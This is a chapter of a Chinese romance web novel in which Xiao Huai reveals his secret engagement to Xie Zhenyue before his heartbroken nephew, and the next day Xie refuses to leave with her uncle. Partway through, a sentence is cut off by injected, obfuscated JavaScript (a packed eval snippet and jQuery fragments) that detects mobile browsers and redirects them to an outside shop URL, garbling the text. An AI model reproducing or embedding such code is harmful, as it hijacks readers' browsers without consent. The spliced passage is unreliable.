窗外白茫茫的天色,仿佛在顷刻间就暗了下来。
距离昨晚不到一天,谢枕月觉得像熬了一整年。
直到一刻钟前,萧凌风来了。她紧绷的神经才稍稍缓了下来。
“我从前怎么从来没听说过你有这种病症。”萧凌风牵起她的手,熟练无比地搭在脉上。见她脸色依旧苍白,他想了想,又道,“基本能确定凶手是谢怀星,此人简直丧心病狂,连落单的徐漱玉也不放过!”
“不过你放心,不管他是怎么混进来的,五叔已经加派了人手,正在挨个排查。”
他说这些本来是想宽慰她,让她别再胡思乱想,谁知道她的脸色越来越差,连自己搭在她脉上的手都微不可查地抖了起来,他慌忙握住她的手,打住话头。
“事情已经过去了,你……不要胡思乱想!”
谢枕月双脚并拢,双手放在膝上,端端正正地坐在床沿。她身上穿的仍是昨晚那身旧衣服,细看之下,衣摆还沾着未洗尽的泥印。
“我没事。”现在能说能动,就是想起来仍心头发慌,这倒不影响什么。她的视线落在两人交叠的手上。
萧凌风上午就来过一趟,神色平静得仿佛什么事都没发生过,就连此刻提起萧淮,也是半点不见异样。
她神色古怪地问道:“你就没什么想问的么?”
“问什么?”萧凌风对上他她的视线,笑得云淡风轻,“昨夜五叔那法子……”
他掌心合拢,把她微凉的手掌全部包裹进掌心:“我知道那是暂时的权宜之计,但昨晚在场的都是自家人,没人会往外传的。
暖意透过合拢的掌心传过来,谢枕月呆呆地抬头望着他,有些惊讶他到了这个时候竟还能自圆其说!
“不是权宜之计。”
压抑到极点的嗓音,忽地在两人身后响起,谢枕月浑身一颤。她弹跳起身,慌忙把手从萧凌风手中抽了回来。
屋里突然变得异常安静,静到呼吸声都清晰可闻。不知何时,天色全暗了下来,屋里没点烛火,萧淮逆光站在两人身后,身形隐在黑暗里,看不清面容。
萧凌风手上落空,目光先是落在谢枕月明显慌乱的脸上,再僵硬地转过身看向萧淮,短促地笑了一声:“我不明白。”
萧淮的声音清晰地传来:“不是权宜之计。”
“不是掩耳耳目。”
“昨晚所言,句句属实。”
他顾虑身份,顾虑人言,顾虑凌风,顾虑重重,一忍再忍,畏缩不前。可这些退让忍耐,又何尝不是以委屈谢枕月为代价?
他既已对她许下承诺,可若连护她周全,免她忧怖都不能,又谈何为爱?
萧淮上前一步,走到窗纸透进来的光影处,缓声道:“我与她,已互许终身。”
“怎么可能!”萧凌风脱口而出,仿佛听见了什么天方夜谭。他下意识地朝着萧淮笑了一下,“五叔,您一定在说笑!”说着,又回头看向站在一旁低头垂眸不语的谢枕月。
她没有反驳。
嘴角那点弧度,一点一点沉了下去。
“你们方才说了……什么?”他声音很轻,轻得几乎听不清。不等回答,又迅速抢道,“您别开口!”他的视线死死锁住谢枕月,“我要听你说。你们……怎么了?是什么关系?”
被点名的谢枕月无声叹了口气。虽然她极度不愿意事情发展到这个地步,但眼下的情形,她再不能摇摆不定,模棱两可的两头讨好了。一个弄不好,两头皆空。
“事实,就是他说的那样。”
萧凌风僵在原地,只是看着她。屋内再次陷入死寂,一时谁也没有说话。
谢枕月被这压抑的气氛压得喘不过气,正准备开口说些什么缓和一下。萧凌风低声问道:“你们是什么时候开始的?”
谢枕月脱口而出:“就昨晚!”
萧淮的声音几乎同时响起:“半年前!”
谢枕月蓦地转头,嗔怒得朝他瞪了一眼。该说的时候不说,这个时候如此实诚做什么?
萧淮脸色沉得能低下水来,视线撞上,谢枕月忽地意识到什么,立即垂眸回避。
两人的眉眼官司,一丝不落的落入萧凌风的眼底。
“为什么?”他声音喑哑,难以置信的接连后退,“为什么偏偏是她?您明明知道她对我而言意味着什么!”
“您是我最亲最爱的长辈,她是我最……”他喉结滚动,最后的话压抑在舌尖,化作困兽一般的压抑喘息,“您却说、您爱她?”
他眼底红到发烫,迎着萧淮的视线疾声质问:“天下女子千千万,可以是任何一个,为什么是她?”
“为什么偏偏是她!”
萧淮沉默。从半年前那晚石室的错误开始,便一错再错。他又何尝不想找别人,他甚至已经做好准备要迎娶温蘅了,如果……如果不是他父亲的死耽搁了时日……
他闭了闭眼,可是……没有如果,他拼尽了全力也没能管住自己的心。
“情不知所起……”他一开始,真的从没想过,要与谢枕月有任何瓜葛!
“好个情不知所起!”萧凌风又笑了,他垂下眼,盯着地上两人交叠的影子,眼神陡然转厉,直直逼视萧淮:“她腿伤复发回来那次,你极力反对我们的婚事,是从那个时候开始的吧……”
“赵四没有信口开河,你们……你们早就有了瓜葛!”
萧淮张了张口,却没能成声。那时,他曾以为自己并不在意,还为自己的言行,找了个为了凌风着想的借口。如今回想,其实早在那时,他就下意识地把谢枕月当成了自己的私有。
“……是我太傻!”他嗓音冷得像冰,目光在谢枕月过分美丽的脸上停留了一瞬,极快,快得像被烫到,接着猛然转向萧淮。
四目相对。
萧凌风眼底翻涌的,是滔天的怒火,是被至亲至爱双重背叛,剜心般的剧痛,更有一闪而过,恨不得与他同归于尽……连他自己都惊骇的……杀意。
他浑身一颤,意识到自己在想什么时,再不敢看屋中任何一人。
嘴唇翕动,最终却什么也没说,只是摇了摇头,一步一步朝门外走去。
出门时甚至带了下房门,门扉轻轻被合上,隔绝了屋内屋外。
萧凌风走后,漆黑的屋里只剩下两人相对站立。
萧淮就这样安静的站在那里看着她。
谢枕月也在看萧淮,原来在她出逃那次,她苦苦哀求之时,他就对自己存了这样的心思!
“你……回来了!”她上前一步,急切地想询问萧嵘的反应,可是刚才发生的事,荒唐又尴尬。她问完,见他没反应,也只好沉默地站在原地。
过了片刻,萧淮脸上已经完全看不出什么,他长长叹了口气,终于动了。
先是转身取出火烛,去点案上的烛台。
漆黑的房间,随着跳动的烛火,霎时亮堂起来。他把手上的东西放回原位,接着走到衣柜前,从中取出几件叠的整整齐齐的衣裳。清一色的白色织物,被放置在桌案上。
萧淮看着她,语气极淡:“听……凌风说你已经好转了,今晚先在这里将就一晚,明日新院子便能收拾完毕,到时再搬过去。”
这是把屋子让给她了?
谢枕月微微颔首。知道他此刻的心情,应该是差到极点了。要是平时,他走了也就走了。可现在徐藏锋与萧嵘在山下虎视眈眈,她有点不想让他走。
“你能……留下来陪我吗,”屋外的北风呼呼作响,林间的草木也一直响个不停。她一听见声音,就总忍不住联想,会不会是徐藏锋或者萧嵘派了人来抓她了?
萧淮单手捧起那叠衣物,仿佛没有听见她的话,面上平静,周身气压却极低。他脚步不停,转身朝门口走去:“早些休息。”
“等一下!”
萧淮身形一滞,还是伸手拉开了房门。刺骨的寒风夹着雪沫,呼啦一下全涌了进来。
谢枕月下意识侧头,眯着眼睛抬手去挡,急急侧身往后退去。
眼见他一只脚已经踏出房门。她注视着那沉默地背影,朝他吼了声:“不是我非逼你在此时承认此事!”
谢枕月知道刚才跟萧凌风的一番对话,让他心情很恶劣。他虽然嘴上不说,但行为上无不表示在迁怒她,可是她难道就不委屈吗?
先是平白无故到了这个鬼地方,拜姓萧的所赐,她的心没有一刻平静过。昨晚更是演都不演了,连徐漱玉的死,也要栽赃到她身上。
还有……昨晚被他匆忙送回来之后,他说好的一会就回来,结果呢?她等了差不多整整一天才回来!
“你要是反悔了,现在还来得及。凌风原本已经替你昨晚的言行想到了合理的解释,你我再解释一番,他说不定还能相信刚才的话,不过是个玩笑,我们不一定非要如此,你……”
“你说什么!”萧淮猛然转过身,眼神冷冷锁在她身上,快步走到她跟前,将手上那叠衣物重重扔在一旁桌案上,神情阴鸷冰冷,“我们不一定要如何?”
他视线下移,落在她纤细白嫩的手上,咬牙切齿道:“有胆子再说一遍试试!”
谢枕月顺着他的视线看去,立即想的到了什么,慌忙把手往袖子里缩了缩。
原来是醋了吗!
她是要寻求他的庇护,不是真的要把人往外推,刚才不过以退
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17019003|184689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为进而已。
该怂就得怂,谢枕月立即摇头,语气瞬间变得委屈巴巴:“我……只是害怕,万一徐大人再派人来……你能留下来吗?”
萧淮抬眸,望向她微微仰起的脸。那张略显苍白的脸上写满了依赖与无助。他记得从前的她,性格刚烈,宁折不弯。火烧药楼那次,他把剑横在她颈侧,她也满脸无畏,不愿向他低头。当时若不是大哥及时出现,她的小命真要不保了。
就是这样的刺头,竟在短短的时日,转变如此之大?
此刻她的眼底,已经隐隐蓄起水光,似乎下一刻就要哭出来。他倏然转身,仓促地将桌上那叠衣物重新拿在手上,转身便朝门外走去:“放心,没有我的允许,别说徐藏锋派来的人,便是一只苍蝇,也休想飞进此处!”
萧淮逃似的离开房间。他实在没办法在此刻,心安理得的与她温存。
门还是被合上了,窸窸窣窣的脚步声渐行渐远。
萧淮应该不会信口开河吧?
谢枕月叹了声气,吹灭了烛火,满心无奈蜷缩回床上。
大风刮了半宿,第二天,竟放晴出了太阳。
“小姐,小心地滑。”侍女在前面小声提醒。
不知萧淮如何说的,这侍女对她夜宿萧淮房间的事,好像半点不惊讶。
谢枕月应了声好,小心地抬脚踩在潮湿的栈道上。上面的积雪不知何时清理的,下半夜她睡死了过去,竟一点动静没听见,还是这侍女前来唤醒的她。
“徐……大人已经回去了吗?”
侍女点头应道:“是的,徐大人刚走,奴婢上来时,王爷已经准备启程了。”
终于走了一个。她虽然不想看见萧嵘,但也总不能一直躲着避而不见。她脚尖磨蹭着脚跟,几乎要把步子连在一起,打定主意拖到最后一刻。最好萧嵘启程的最后一刻,她露个面,道个别,就立即回房。
萧淮看着山道上,那道久久不见挪动的身影轻叹了口气。不知过了多久,她才低着头,慢吞吞走到他跟前站定。
“你……大伯已经动身,你的行李也已收拾妥当。”这称呼已经不妥当,可贸然改口又不合时宜,他背对着她轻咳了声,“你先随他回王府暂住。待我将此间诸事料理清楚……再去寻你。”
谢枕月的脚步一下子止在了原地,脸色大变:“不是让我来送行的吗?”
萧淮回头,看着她严肃道:“我可以不在意那些闲言碎语,你总不能这样没名没分地跟着我,你让人如何看你?”
“我不怕!”谢枕月脱口而出,说什么也不肯在走一步,“我不要回去!”
萧淮软了语气:“大哥无论如何不会委屈了你,听话,先回去。”
“不!”她不停摇头,“昨晚先是被……被她绊倒了,一爬起来却发现摸了一手的黏腻,后来……徐大人……徐大人他要杀我!”
“还有魏照,我上次说过他……对我不恭,这次回程路上势必要与他同行,我不要见到他!”
谢枕月一慌,话就格外的多:“你不是说我要什么都可以吗?”她急忙拽住了他的手臂,“我不要看见他,也不要回去!”
“你不能说话不作数!”
萧淮垂眸看了眼她手上的动作,无奈道:“徐大人……不会有下次了。”要是平时,一个长辈如此作为,他定要去向徐藏锋讨个说法,可是昨晚徐藏锋刚死了女儿,哪怕行文偏激了些,却没有真正伤到人,他实在不好多说什么。
眼下不过想让她暂回王府居住而已,不知道的还以为要推她入火坑。他一句话还没说完整,她那张小嘴巴巴的说个没完。
“不回去就不回去吧,”比起闲言碎语,还是她的感受更重要,他会想办法让人闭嘴的。
“我去同大哥说就是,就说是你不愿回去的。”
就这样?
谢枕月怔了一下,她还以为要费好一番功夫才能说服萧淮呢。
既如此……她得寸进尺地拉着他的手,轻轻晃了晃:“那个……我知道你最好了,你看,你能不能别说是我不愿意回去,这多难为情。”
仅过了一晚,萧淮的心情,实在算不上多好。而且,他还有账没跟她算清楚。可是眼下见了她这卖乖讨好的模样,胸口的窒闷感竟也奇迹般好转。他不由伸手摸了摸她的发顶,嘴角微微上扬,“我知晓了,你回去等我就是。”
就算她不说,他也不能真把这样的事情推到一个姑娘头上。刚才只是随口一说逗她罢了。只是一想到自己已近而立之年,还要与自家大哥说这些没羞没臊的话,他的太阳穴已经隐隐作痛。
萧嵘待会的脸色……他已经能预见会有多难看了。